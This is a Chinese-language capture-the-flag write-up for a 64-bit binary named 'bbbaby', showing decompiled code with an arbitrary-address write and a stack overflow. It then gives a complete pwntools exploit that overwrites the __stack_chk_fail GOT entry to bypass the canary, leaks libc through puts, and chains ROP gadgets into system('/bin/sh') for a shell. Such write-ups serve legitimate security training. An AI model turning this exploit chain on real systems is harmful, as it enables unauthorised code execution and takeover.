@TOC
bbbaby
保护与环境
64位 2.23 没开pie
代码审计
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3){int v4; // [rsp+Ch] [rbp-114h]char v5[264]; // [rsp+10h] [rbp-110h] BYREFunsigned __int64 v6; // [rsp+118h] [rbp-8h]v6 = __readfsqword(0x28u);sub_400766(a1, a2, a3);puts("^_^");while ( 1 ){while ( 1 ){puts("your choice");v4 = sub_4007C7();if ( v4 )break;ac();}if ( v4 != 1 )break;sc(v5);}return 0LL;}
任意地址写
ssize_t ac(){int v1; // [rsp+Ch] [rbp-4h]puts("address:");v1 = sub_4007C7();puts("content:");return read(0, (void *)v1, 8uLL);}
这里有一点要注意
sub_4007C7()是对字符串处理的函数(atoi),需要str传入,而read是要字节流传入
栈溢出
ssize_t __fastcall sub_4008BB(void *a1){unsigned int nbytes; // [rsp+1Ch] [rbp-4h]puts("size:");nbytes = sub_4007C7();puts("content:");return read(0, a1, nbytes);}
利用
任意地址写和没开pie想到劫持got表
参考
劫持__stack_chk_fail为ret,可绕过canary
exp
from pwn import*context(os='Linux',log_level = 'debug',arch='amd64')p=process("./pwn1")elf=ELF("./pwn1")#p=remote("node4.buuoj.cn",)libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#libc=ELF("/home/squirrel/桌面/buulibc/18/64/libc-2.27.so")def dbg():gdb.attach(p)pause()def ac(addr,cnt):p.sendlineafter("your choice","0")p.sendlineafter("address:\n",str(addr))p.sendafter("content:\n",cnt)def sc(size,cnt):p.sendlineafter("your choice","1")p.sendlineafter("size:\n",str(size))p.sendafter("content:\n",cnt)def bk():p.sendlineafter("your choice","2")stk_chk=elf.got['__stack_chk_fail']puts_got=elf.got['puts']puts_plt=elf.plt['puts']main=0x40090bret=0x4005d9pop_rdi=0x400a03ac(stk_chk,p64(ret))payload=b'a'*(0x110+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)sc(len(payload),payload)bk()libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']print("libc_base:",hex(libc_base))system=libc.symbols['system']+libc_basebinsh=next(libc.search(b'/bin/sh'))+libc_basepayload=b'a'*(0x110+8)+p64(pop_rdi)+p64(binsh)+p64(system)sc(len(payload),payload)bk()p.interactive()
